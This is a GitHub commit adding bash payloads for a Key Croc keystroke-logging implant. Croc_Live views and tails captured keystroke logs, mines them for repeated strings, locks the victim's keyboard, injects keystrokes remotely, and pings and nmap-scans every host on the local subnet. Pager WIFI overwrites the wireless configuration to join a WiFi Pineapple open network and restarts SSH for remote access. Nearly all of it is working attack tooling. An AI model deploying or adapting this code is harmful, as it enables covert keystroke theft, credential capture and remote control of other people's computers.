Merge pull request #72 from spywill/master

Pager WIFI
This commit is contained in:
Peaks
2026-01-17 16:01:51 -05:00
committed by GitHub
3 changed files with 668 additions and 10 deletions

View File

@@ -3,17 +3,631 @@
# Title: Croc_Live
# Description: Live keystrokes in real-time. It operates in the terminal environment ( bash udisk/tools/croc_live.sh )
# Author: spywill
# Version: 1.0
# Version: 2.0
# Category: Key Croc
echo -ne "\n\nPrevious keystrokes:\n\n"
find . -type f -name "croc_char.log" -exec cat {} +
until [ -f loot/croc_char.log ]; do
echo -ne "Waiting for keyboard activity\033[0K\r"
# Variables define the source directory for loot files and the backup destination directory
source_dir="/root/udisk/loot"
backup_dir="/tmp/loot_backup"
# Set the countdown time in seconds (lockout keyboard)
countdown=60
# Variable display lines for separating output
LINE=$(printf '%0.s=' {1..40})
# Function Lock and unlock Local keyboard with QUACK LOCK and QUACK UNLOCK
function Lock_keyboard() {
printf '\033[H\033[2J'
QUACK LOCK
# Loop to count down
while [ $countdown -gt 0 ]; do
# Print the countdown number and use carriage return to overwrite the line
echo -ne "Local keyboard is lockout time remaining: $countdown\033[0K\r"
((countdown--))
sleep 1
done
QUACK UNLOCK
echo -e "\nLocal Keyboard has been restored"
}
# function for Breaking while loop [i] to reset counter
reset_broken() {
i=0
broken=0
break_script() {
broken=1
trap - SIGINT
}
trap break_script SIGINT
}
# Function to display the main menu
display_menu() {
printf '\033[H\033[2J'
echo "$LINE"
echo " VER:2.0"
echo " CROC LIVE $(date)"
echo " $(uptime | awk -F' up |, ' '{print "up " $2 ", " $3}')"
echo "$LINE"
echo "1) Previous keystrokes"
echo "2) Live keystrokes"
echo "3) Clean log files"
echo "4) Keyboard activity"
echo "5) Network status"
echo "6) Remote keyboard"
echo "7) Keyboard Giggler"
echo "8) Option 8"
echo "0) Exit"
echo "$LINE"
echo -n "Choose an option (1-8): "
}
# Function to display the submenu under Option 1
display_submenu() {
printf '\033[H\033[2J'
echo "$LINE"
echo " Previous keystrokes menu"
echo "Characters in croc_char.log: $(find . -type f -name "croc_char.log" -exec cat {} + | wc -m)"
echo "Keyboard: $(cat /tmp/mode)"
echo "$LINE"
echo "1) QUACK.log"
echo "2) HOTPLUG.log"
echo "3) ATTACKMODE.log"
echo "4) CROC_RAW.log"
echo "5) MATCHES.log"
echo "6) CROC_CHAR.log"
echo "7) FILTERED CROC_CHAR.log"
echo "8) MATCH PATTERN"
echo "9) MAIN MENU"
echo "$LINE"
echo -n "Choose an option (1-9): "
}
# Function to handle Option 1 (view keystrokes logs)
option_1() {
# Function to process logs
process_logs() {
local log_name="$1"
find . -type f -name "$log_name" -print0 | while IFS= read -r -d '' file; do
echo -ne "File: $file\n"
echo -ne "$log_name: $(wc -m < "$file") characters\n"
cat "$file"
echo -e "\n$LINE\n"
sleep .5
done
}
while true; do
display_submenu
read choice
case $choice in
1)
echo "You selected QUACK.log"
sleep 1
process_logs "QUACK.log"
;;
2)
echo "You selected hotplug.log"
sleep 1
process_logs "hotplug.log"
;;
3)
echo "You selected attackmode.log"
sleep 1
process_logs "attackmode.log"
;;
4)
echo "You selected croc_raw.log"
sleep 1
process_logs "croc_raw.log"
;;
5)
echo "You selected matches.log"
sleep 1
process_logs "matches.log"
;;
6)
echo "You selected croc_char.log"
sleep 1
process_logs "croc_char.log"
;;
7)
echo "You selected Filtered croc_char.log"
sleep 1
# Find all files named "croc_char.log" in the current directory and subdirectories
find . -type f -name "croc_char.log" -exec sed 's/\[[^]]*\]//g' {} +
;;
8)
echo "You selected Match Pattern"
sleep 1
# Find "croc_char.log" files, remove text within square brackets
# Extract substrings of length 3 to 16, count unique occurrences, and display those with more than 1 occurrence
find . -type f -name "croc_char.log" -exec sed 's/\[[^]]*\]//g' {} + | \
awk 'length($0) >= 3 {
for(i=1; i<=length($0)-2; i++) {
for(j=i+2; j<=length($0) && j-i+1<=16; j++) {
print substr($0, i, j-i+1)
}
}
}' | \
sort | uniq -c | \
awk '$1 > 1 {print $1, $2}' | \
sort -nr
;;
9)
echo "Back to the main menu"
sleep 1
break
;;
lock)
echo "You selected lockout Local keyboard for $countdown mins."
sleep 1
Lock_keyboard
;;
[Ss])
echo "ENTERING ATTACKMODE HID STORAGE."
sleep 1
ATTACKMODE HID STORAGE
sleep 3
;;
[Hh])
echo "ENTERING ATTACKMODE HID."
sleep 1
ATTACKMODE HID
sleep 3
;;
*)
echo "Invalid choice. Please select a valid option."
sleep 1
;;
esac
done
}
# Function to handle Option 2 (tail -f loot/croc_char.log)
option_2() {
printf '\033[H\033[2J'
# Trap Ctrl+C (SIGINT) and return to the main menu
trap 'echo -e "\n\nYou have exited the log tail and returned to the main menu." && return' SIGINT
echo "Starting to tail the log file: loot/croc_char.log."
echo "Press [Ctrl+C] to stop and return to the main menu."
echo -e "\nWaiting for keyboard activity..."
sleep 1
WAIT_FOR_KEYBOARD_ACTIVITY 0
# Run the tail command and wait for user to exit using Ctrl+C
tail -f loot/croc_char.log
# Untrap the signal after tail command ends
trap - SIGINT
}
# Function to handle Option 3 to back up the "udisk/loot" directory to "/tmp/loot_backup" and clean it
option_3() {
printf '\033[H\033[2J'
echo -e "Loot directory\n"
sleep 1
cd loot && ls -la
read -p 'BACKUP & CLEAN KEY CROC KEYSTROKE FILES Y/N' user_input
case "$user_input" in
[yY] | [yY][eE][sS])
# Check if the source directory exists
if [ ! -d "$source_dir" ]; then
echo "Error: Source directory $source_dir does not exist."
read -p "Press [Enter] to continue..."
return
fi
# Create the backup directory if it does not exist
if [ ! -d "$backup_dir" ]; then
echo "Creating backup directory $backup_dir..."
mkdir -p "$backup_dir"
fi
# Copy the entire contents of the "udisk/loot" directory to the backup directory
echo "Backing up $source_dir to $backup_dir..."
cp -r "$source_dir"/* "$backup_dir"
# Check if the copy was successful
if [ $? -eq 0 ]; then
echo "Backup successful!"
# Clean (delete) all files and subdirectories inside "udisk/loot"
echo "Cleaning up the $source_dir directory..."
rm -rf "$source_dir"/*
# Check if the clean-up was successful
if [ $? -eq 0 ]; then
echo "Clean-up successful! All files in $source_dir have been deleted."
else
echo "Failed to clean the $source_dir directory."
fi
else
echo "Backup failed. No files were copied."
fi
read -p "Press [Enter] to continue..."
;;
[nN] | [nN][oO])
echo -e "Returned to the main menu."
sleep 1
;;
*)
echo "Invalid choice. Please select a valid option."
sleep 1
;;
esac
}
# Function to handle Option 4 (View Keyboard activity)
option_4() {
printf '\033[H\033[2J'
echo "You selected view Keyboard activity"
echo "Press [Ctrl+C] to stop and return to the main menu."
sleep 1
reset_broken
while [ "$broken" -eq 1 ] && break || WAIT_FOR_KEYBOARD_ACTIVITY 0; do
echo -ne "KEYBOARD ACTIVE COUNT: $((i++)) \033[0K\r"
sleep 1
done &
while [ "$broken" -eq 1 ] && break || WAIT_FOR_KEYBOARD_INACTIVITY 1; do
echo -ne "KEYBOARD INACTIVE COUNT: $((i++)) \033[0K\r"
sleep 1
done
}
# Function to handle Option 5 (network connection status)
option_5() {
printf '\033[H\033[2J'
echo "You selected network status"
echo "Press [Ctrl+C] to stop and return to the main menu."
echo "Network check started..."
sleep 1
# Get network status by pinging google.com
ping -c 1 google.com &> /dev/null
if [ $? -eq 0 ]; then
# Get the local IP address of the main interface
LOCAL_IP=$(ip addr show | grep 'inet ' | grep -v '127.0.0.1' | awk '{print $2}' | cut -d/ -f1)
# Get the MAC address of the first network interface
MAC_ADDR=$(ip link show | grep -m 1 -E "ether" | awk '{print $2}')
# Get the public IP address using an external service
PUBLIC_IP=$(curl -s https://icanhazip.com/)
# Extract the subnet from the local IP address (taking the first three octets)
SUBNET=$(echo $LOCAL_IP | cut -d. -f1,2,3)
# Create an array to store reachable IPs
reachable_ips=()
echo -e "\n$LINE\n"
echo -e "$(date)\n"
echo "Network is up"
echo "Local Hostname: $(hostname)"
echo "Local IP: $(hostname -I)"
echo "MAC Address: $MAC_ADDR"
echo "Public IP: $PUBLIC_IP"
echo -e "\n$LINE\n"
iw dev wlan0 link
echo -e "\n$LINE\n"
grep nameserver /etc/resolv.conf
echo -e "\n$LINE\n"
route -n
echo -e "\n$LINE\n"
netstat -tulna
echo -e "\n$LINE\n"
traceroute google.com
echo -e "\n$LINE\n"
curl -Lsf --connect-timeout 2 --max-time 2 -v --write-out "\nHTTP Code: %{http_code}\nTime: %{time_total}s\n" http://ip-api.com/json
echo -e "\n$LINE\n"
# Scan for reachable IPs in the local network and their MAC addresses
echo "Scanning local network for reachable IPs in subnet $SUBNET..."
for i in {1..254}; do
# Ping each IP in the subnet
ping -c 1 -W 1 $SUBNET.$i &> /dev/null
if [ $? -eq 0 ]; then
# If reachable, resolve the IP to a hostname using getent
HOSTNAME=$(getent hosts $SUBNET.$i | awk '{print $2}')
# If reachable, get the MAC address using arp
MAC=$(arp -n $SUBNET.$i | grep -i $SUBNET.$i | awk '{print $3}')
if [ -z "$HOSTNAME" ]; then
# If no hostname is found, just print the IP
HOSTNAME="No hostname found"
fi
echo "$SUBNET.$i is reachable, MAC Address: $MAC, Hostname: $HOSTNAME"
# Add the reachable IP to the list
reachable_ips+=($SUBNET.$i)
fi
done
# Run an Nmap scan on each reachable IP
echo -e "\n$LINE\n"
for ip in "${reachable_ips[@]}"; do
echo -e "\nRunning Nmap scan on $ip...\n"
nmap -sV -T4 -O -F $ip
echo -e "\n$LINE\n"
done
# Capture network traffic on interface wlan0, with concise output (-q) tcpdump
#tcpdump -n -i wlan0 -tttt -q
else
echo -e "\n$(date)"
echo "Network is down"
sleep 1
fi
}
# Function to handle Option 6 (Remote keyboard)
option_6() {
printf '\033[H\033[2J'
echo -e "You selected Remote keyboard\n"
sleep 1
echo -e "Enter keystrokes from remote device\nENSURE YOU ARE RUNNING IN A REMOTE TERMINAL BEFORE STARTING!\n"
read -p 'Start Remote keyboard Y/N' user_input
case "$user_input" in
[yY] | [yY][eE][sS])
QUACK LOCK
sleep 1
echo -ne "\nNOTE: Not all keystroke entry are working at the moment\n
**Local keyboard will be lockout**\n
-Alternet keystrokes entry\n
-Press ALT-i will execute QUACK GUI i
-Press ALT-x will execute QUACK GUI x
-Press ALT-0 will execute QUACK GUI
-Press ALT-4 will execute QUACK ALT-F4
-Press ALT-5 will execute QUACK GUI r
-Press ALT-6 will execute QUACK GUI d
-Press ALT-7 will execute QUACK GUI l
-Press ALT-8 will execute QUACK CONTROL-ALT-d
-Press ALT-9 will execute QUACK CONTROL-ALT-t
-Press ALT-z will execute QUACK CONTROL-z
-Press ALT-c will execute QUACK ALT-SPACE ; Q c
-Press ALT-s will execute QUACK ALT-SPACE
-Press ALT-n will execute QUACK NUMLOCK
-Press ALT-l will execute QUACK CAPSLOCK
-Press ALT-p will execute QUACK PRINTSCREEN
-Press ALT-u will execute QUACK UNLOCK (local keyboard)
-Press ALT-o will execute QUACK LOCK (local keyboard)
-Press ALT-SHIFT-T will execute QUACK ALT-TAB
-Press ALT-SHIFT-E will execute QUACK ALT-ESCAPE
-Press CTRL-t will execute QUACK CONTROL-TAB
-Press F2 to return back to menu\n"
echo -e "\n\tKEYCROC REMOTE KEYBOARD ENTER KEYSTROKES HERE\n\n"
trap ctrl_c SIGINT
stty -echo
declare -a fnkey
for x in {1..12}; do
raw="$(tput kf"$x" | cat -A)"
fnkey["$x"]="${raw#^[}"
done
read_key_press() {
if IFS= read -r -n 1 key_press; then
while read -N 1 -t 0.001; do
key_press+="$REPLY"
done
printf -v key_code "%d" "'$key_press"
fi
}
while read_key_press; do
ctrl_c() {
QUACK CONTROL-c ; echo -ne " CTRL-C "
}
case "$key_press" in
$'\e'"${fnkey[1]}") QUACK F1 ; echo -ne " F1 " ;;
$'\e'"${fnkey[2]}") QUACK F2 ; echo -ne " F2 \n\nYou have exited returned to the main menu" ; QUACK UNLOCK ; trap - SIGINT ; stty echo ; break ;;
$'\e'"${fnkey[3]}") QUACK F3 ; echo -ne " F3 " ;;
$'\e'"${fnkey[4]}") QUACK F4 ; echo -ne " F4 " ;;
$'\e'"${fnkey[5]}") QUACK F5 ; echo -ne " F5 " ;;
$'\e'"${fnkey[6]}") QUACK F6 ; echo -ne " F6 " ;;
$'\e'"${fnkey[7]}") QUACK F7 ; echo -ne " F7 " ;;
$'\e'"${fnkey[8]}") QUACK F8 ; echo -ne " F8 " ;;
$'\e'"${fnkey[9]}") QUACK F9 ; echo -ne " F9 " ;;
$'\e'"${fnkey[10]}") QUACK F10 ; echo -ne " F10 " ;;
$'\e'"${fnkey[11]}") QUACK F11 ; echo -ne " F11 " ;;
$'\e'"${fnkey[12]}") QUACK F12 ; echo -ne " F12 " ;;
$'\E[1;2P') QUACK SHIFT-F1 ; echo -ne " SHIFT-F1 " ;;
$'\E[1;2Q') QUACK SHIFT-F2 ; echo -ne " SHIFT-F2 " ;;
$'\E[1;2R') QUACK SHIFT-F3 ; echo -ne " SHIFT-F3 " ;;
$'\E[1;2S') QUACK SHIFT-F4 ; echo -ne " SHIFT-F4 " ;;
$'\E[15;2~') QUACK SHIFT-F5 ; echo -ne " SHIFT-F5 " ;;
$'\E[17;2~') QUACK SHIFT-F6 ; echo -ne " SHIFT-F6 " ;;
$'\E[18;2~') QUACK SHIFT-F7 ; echo -ne " SHIFT-F7 " ;;
$'\E[19;2~') QUACK SHIFT-F8 ; echo -ne " SHIFT-F8 " ;;
$'\E[20;2~') QUACK SHIFT-F9 ; echo -ne " SHIFT-F9 " ;;
$'\E[21;2~') QUACK SHIFT-F10 ; echo -ne " SHIFT-F10 " ;;
$'\E[23;2~') QUACK SHIFT-F11 ; echo -ne " SHIFT-F11 " ;;
$'\E[24;2~') QUACK SHIFT-F12 ; echo -ne " SHIFT-F12 " ;;
$'\e[Z') QUACK SHIFT-TAB ; echo -ne " SHIFT-TAB " ;;
$'\el') QUACK CAPSLOCK ; echo -ne " CAPSLOCK " ;;
$'\es') QUACK ALT-SPACE ; echo -ne " ALT-SPACE " ;;
$'\en') QUACK NUMLOCK ; echo -ne " NUMLOCK " ;;
$'\ep') QUACK PRINTSCREEN ; echo -ne " PRINTSCREEN " ;;
$'\e[5~') QUACK KEYCODE 00,00,4b ; echo -ne " PAGEUP " ;;
$'\e[6~') QUACK PAGEDOWN ; echo -ne " PAGEDOWN " ;;
$'\e[2~') QUACK INSERT ; echo -ne " INSERT " ;;
$'\e[3~') QUACK DELETE ; echo -ne " DELETE " ;;
$'\t') QUACK TAB ; echo -ne " TAB " ;;
$'\e[F') QUACK END ; echo -ne " END " ;;
$'\e[H') QUACK HOME ; echo -ne " HOME " ;;
$'\033') QUACK ESCAPE ; echo -ne " ESC " ;;
$'\E[A') QUACK UPARROW ; echo -ne " UPARROW " ;;
$'\E[B') QUACK DOWNARROW ; echo -ne " DOWNARROW " ;;
$'\E[D') QUACK LEFTARROW ; echo -ne " LEFTARROW " ;;
$'\E[C') QUACK RIGHTARROW ; echo -ne " RIGHTARROW " ;;
$'\e8') QUACK CONTROL-ALT-d ; echo -ne " CTRL-ALT-D " ;;
$'\e9') QUACK CONTROL-ALT-t ; echo -ne " CTRL-ALT-T " ;;
$'\ez') QUACK CONTROL-z ; echo -ne " CTRL-Z " ;;
$'\177') QUACK BACKSPACE ; echo -ne "\b \b" ;;
$'\x20') QUACK KEYCODE 00,00,2c ; echo -ne " " ;;
$'\ex') QUACK GUI x ; echo -ne " GUI-X " ;;
$'\e5') QUACK GUI r ; echo -ne " GUI-R " ;;
$'\e6') QUACK GUI d ; echo -ne " GUI-D " ;;
$'\e7') QUACK GUI l ; echo -ne " GUI-L " ;;
$'\ei') QUACK GUI i ; echo -ne " GUI-I " ;;
$'\e0') QUACK GUI ; echo -ne " GUI " ;;
$'\e1') QUACK ALT-1 ; echo -ne " ALT-1 " ;;
$'\e2') QUACK ALT-2 ; echo -ne " ALT-2 " ;;
$'\e3') QUACK ALT-3 ; echo -ne " ALT-3 " ;;
$'\e4') QUACK ALT-F4 ; echo -ne " ALT-F4 " ;;
$'\e.') QUACK ALT-. ; echo -ne " ALT-. " ;;
$'\ea') QUACK ALT-a ; echo -ne " ALT-A " ;;
$'\eb') QUACK ALT-b ; echo -ne " ALT-B " ;;
$'\ec') QUACK ALT-SPACE ; Q c ; echo -ne " ALT-SPACE-C " ;;
$'\ed') QUACK ALT-d ; echo -ne " ALT-D " ;;
$'\ee') QUACK ALT-e ; echo -ne " ALT-E " ;;
$'\ef') QUACK ALT-f ; echo -ne " ALT-F " ;;
$'\eg') QUACK ALT-g ; echo -ne " ALT-G " ;;
$'\eh') QUACK ALT-h ; echo -ne " ALT-H " ;;
$'\ej') QUACK ALT-j ; echo -ne " ALT-J " ;;
$'\ek') QUACK ALT-k ; echo -ne " ALT-K " ;;
$'\eu') QUACK UNLOCK ; echo -ne " Unlocking Local keyboard " ;;
$'\eo') QUACK LOCK ; echo -ne " Locking Local keyboard " ;;
$'\et') QUACK ALT-t ; echo -ne " ALT-t " ;;
$'\ev') QUACK ALT-v ; echo -ne " ALT-V " ;;
$'\ey') QUACK ALT-y ; echo -ne " ALT-Y " ;;
$'\eA') QUACK ALT-SHIFT-a ; echo -ne " ALT-SHIFT-A " ;;
$'\eB') QUACK ALT-SHIFT-b ; echo -ne " ALT-SHIFT-B " ;;
$'\eC') QUACK ALT-SHIFT-c ; echo -ne " ALT-SHIFT-C " ;;
$'\eD') QUACK ALT-SHIFT-d ; echo -ne " ALT-SHIFT-D " ;;
$'\eE') QUACK ALT-ESCAPE ; echo -ne " ALT-ESC " ;;
$'\eF') QUACK ALT-SHIFT-f ; echo -ne " ALT-SHIFT-F " ;;
$'\eP') QUACK ALT-SHIFT-p ; echo -ne " ALT-SHIFT-P " ;;
$'\eW') QUACK ALT-SHIFT-w ; echo -ne " ALT-SHIFT-W " ;;
$'\eL') QUACK ALT-SHIFT-l ; echo -ne " ALT-SHIFT-L " ;;
$'\eT') QUACK ALT-TAB ; echo -ne " ALT-TAB " ;;
$'\e[1;3P') QUACK ALT-F1 ; echo -ne " ALT-F1 " ;;
$'\e[1;3Q') QUACK ALT-F2 ; echo -ne " ALT-F2 " ;;
$'\e[1;3R') QUACK ALT-F3 ; echo -ne " ALT-F3 " ;;
$'\e[1;3S') QUACK ALT-F4 ; echo -ne " ALT-F4 " ;;
$'\e[15;3~') QUACK ALT-F5 ; echo -ne " ALT-F5 " ;;
$'\e[17;3~') QUACK ALT-F6 ; echo -ne " ALT-F6 " ;;
$'\e[18;3~') QUACK ALT-F7 ; echo -ne " ALT-F7 " ;;
$'\e[19;3~') QUACK ALT-F8 ; echo -ne " ALT-F8 " ;;
$'\e[20;3~') QUACK ALT-F9 ; echo -ne " ALT-F9 " ;;
$'\e[21;3~') QUACK ALT-F10 ; echo -ne " ALT-F10 " ;;
$'\e[23;3~') QUACK ALT-F11 ; echo -ne " ALT-F11 " ;;
$'\e[24;3~') QUACK ALT-F12 ; echo -ne " ALT-F12 " ;;
$'\e[1;3A') QUACK ALT-UPARROW ; echo -ne " ALT-UPARROW " ;;
$'\e[1;3B') QUACK ALT-DOWNARROW ; echo -ne " ALT-DOWNARROW " ;;
$'\e[1;3C') QUACK ALT-RIGHTARROW ; echo -ne " ALT-RIGHTARROW " ;;
$'\e[1;3D') QUACK ALT-LEFTARROW ; echo -ne " ALT-LEFTARROW " ;;
$'\e[1;6A') QUACK CONTROL-SHIFT-UPARROW ; echo -ne " CTRL-SHIFT-UPARROW " ;;
$'\e[1;6B') QUACK CONTROL-SHIFT-DOWNARROW ; echo -ne " CTRL-SHIFT-DOWNARROW " ;;
$'\e[1;6C') QUACK CONTROL-SHIFT-RIGHTARROW ; echo -ne " CTRL-SHIFT-RIGHTARROW " ;;
$'\e[1;6D') QUACK CONTROL-SHIFT-LEFTARROW ; echo -ne " CTRL-SHIFT-LEFTARROW " ;;
$'\e[1;5A') QUACK CONTROL-UPARROW ; echo -ne " CTRL-UPARROW " ;;
$'\e[1;5B') QUACK CONTROL-DOWNARROW ; echo -ne " CTRL-DOWNARROW " ;;
$'\e[1;5C') QUACK CONTROL-RIGHTARROW ; echo -ne " CTRL-RIGHTARROW " ;;
$'\e[1;5D') QUACK CONTROL-LEFTARROW ; echo -ne " CTRL-LEFTARROW " ;;
$'\e[1;2A') QUACK SHIFT-UPARROW ; echo -ne " SHIFT-UPARROW " ;;
$'\e[1;2B') QUACK SHIFT-DOWNARROW ; echo -ne " SHIFT-DOWNARROW " ;;
$'\e[1;2C') QUACK SHIFT-RIGHTARROW ; echo -ne " SHIFT-RIGHTARROW " ;;
$'\e[1;2D') QUACK SHIFT-LEFTARROW ; echo -ne " SHIFT-LEFTARROW " ;;
$'\0') QUACK ENTER ; echo -ne " ENTER \n" ;;
[[:graph:]]) QUACK STRING "$key_press" ; echo -ne "$key_press" ;;
*)
case "$key_code" in
1) QUACK CONTROL-a ; echo -ne " CTRL-A " ;;
2) QUACK CONTROL-b ; echo -ne " CTRL-B " ;;
4) QUACK CONTROL-d ; echo -ne " CTRL-D " ;;
5) QUACK CONTROL-e ; echo -ne " CTRL-E " ;;
6) QUACK CONTROL-f ; echo -ne " CTRL-F " ;;
7) QUACK CONTROL-g ; echo -ne " CTRL-G " ;;
8) QUACK CONTROL-h ; echo -ne " CTRL-H " ;;
10) QUACK CONTROL-j ; echo -ne " CTRL-J " ;;
11) QUACK CONTROL-k ; echo -ne " CTRL-K " ;;
12) QUACK CONTROL-l ; echo -ne " CTRL-L " ;;
13) QUACK CONTROL-m ; echo -ne " CTRL-M " ;;
14) QUACK CONTROL-n ; echo -ne " CTRL-N " ;;
15) QUACK CONTROL-o ; echo -ne " CTRL-O " ;;
16) QUACK CONTROL-p ; echo -ne " CTRL-P " ;;
17) QUACK CONTROL-q ; echo -ne " CTRL-Q " ;;
18) QUACK CONTROL-r ; echo -ne " CTRL-R " ;;
19) QUACK CONTROL-s ; echo -ne " CTRL-S " ;;
20) QUACK CONTROL-TAB ; echo -ne " CTRL-TAB " ;;
21) QUACK CONTROL-u ; echo -ne " CTRL-U " ;;
22) QUACK CONTROL-v ; echo -ne " CTRL-V " ;;
23) QUACK CONTROL-w ; echo -ne " CTRL-W " ;;
24) QUACK CONTROL-x ; echo -ne " CTRL-X " ;;
25) QUACK CONTROL-y ; echo -ne " CTRL-Y " ;;
esac
;;
esac
done
;;
[nN] | [nN][oO])
echo -e "Returned to the main menu."
sleep 1
;;
*)
echo "Invalid choice. Please select a valid option."
sleep 1
;;
esac
}
# Function to handle Option 7 (Keyboard Giggler)
option_7() {
printf '\033[H\033[2J'
echo "You selected Option 7 Keyboard Giggler"
echo "Prevent pc going to sleep."
echo "Press [Ctrl+C] to stop and return to the main menu."
echo "QUACK spacebar every 60 sec and then backspace."
sleep 1
reset_broken
while [ "$broken" -eq 1 ] && break || WAIT_FOR_KEYBOARD_INACTIVITY 60; do
QUACK KEYCODE 00,00,2c
QUACK BACKSPACE
(( i++ ))
echo -ne "Keyboard Giggler is running COUNT: $i\033[0K\r"
done
}
# Function to handle Option 8
option_8() {
echo "You selected Option 8"
sleep 1
}
# Main script loop
while true; do
display_menu
read choice
case $choice in
1)
option_1
;;
2)
option_2
;;
3)
option_3
;;
4)
option_4 ; reset_broken
;;
5)
option_5
;;
6)
option_6
;;
7)
option_7 ; reset_broken
;;
8)
option_8
;;
0)
echo "Exiting..."
break
;;
lock)
echo "You selected lockout Local keyboard for $countdown mins."
sleep 1
Lock_keyboard
;;
[Ss])
echo "ENTERING ATTACKMODE HID STORAGE."
sleep 1
ATTACKMODE HID STORAGE
sleep 3
;;
[Hh])
echo "ENTERING ATTACKMODE HID."
sleep 1
ATTACKMODE HID
sleep 3
;;
*)
echo "Invalid choice. Please select a valid option."
sleep 1
;;
esac
done
sleep 1
printf '\033[H\033[2J'
echo -ne "\n\nLive keystrokes:\n\n"
tail -f loot/croc_char.log

View File

@@ -0,0 +1,4 @@
# Pager WIFI
- Connect keycroc to WiFi Pineapple Pager open AP
- MATCH word --> pager_wifi
- Will need to run this payload after every reboot

View File

@@ -0,0 +1,40 @@
# Title: Pager WIFI
# Description: Connect keycroc to WiFi Pineapple Pager open AP
# Author: spywill
# Version: 1.0
# Category: Key Croc
MATCH pager_wifi
PAGER_SSID="pager-open"
IFACE=$(iw dev | awk '$1=="Interface"{print $2; exit}')
iw dev "$IFACE" scan 2>/dev/null | grep -q "SSID: $PAGER_SSID"
if [ $? -eq 0 ]; then
LED SETUP
kill -9 $(pidof wpa_supplicant) && kill -9 $(pidof dhclient)
ifconfig wlan0 down
cat > /etc/wpa_supplicant.conf <<EOF
network={
ssid="$PAGER_SSID"
key_mgmt=NONE
}
EOF
ifconfig wlan0 up
wpa_supplicant -B -D nl80211 -iwlan0 -c /etc/wpa_supplicant.conf && dhclient wlan0
sleep 3
systemctl restart ssh.service
else
LED R
exit
fi
if iw dev "$IFACE" link | grep -q "SSID: $PAGER_SSID"; then
LED G
else
LED R
fi
sleep 5
LED OFF